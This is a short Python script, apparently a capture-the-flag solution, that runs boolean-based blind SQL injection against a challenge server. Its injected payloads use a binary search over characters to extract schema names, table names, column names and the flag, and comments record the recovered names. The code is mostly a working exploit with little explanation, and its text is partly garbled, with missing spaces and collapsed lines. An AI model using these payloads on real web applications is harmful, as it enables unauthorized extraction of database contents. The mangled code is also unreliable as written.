import time import requests url = "http://node4.anna.nssctf.cn:28666/index.php?id=1" defbool_sql_database_name(): global url flag="" for i inrange(100): low = 32 high = 127 mid = (low + high) // 2 while low < high: payload = "' and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))<{},1,0) and 'a'='a".format(i,mid) #information_schema,mysql,performance_schema,test,test_db #payload = "' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='test'),{},1))<{},1,0) and 'a'='a".format(i,mid) #test_db->test_tb->id,flag,users #payload = "' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb'),{},1))<{},1,0) and 'a'='a".format(i,mid) #test_db->test_tb->id,flag,users #payload = "' and if(ascii(substr((select flag from test_db.test_tb),{},1))<{},1,0) and 'a'='a".format(i,mid)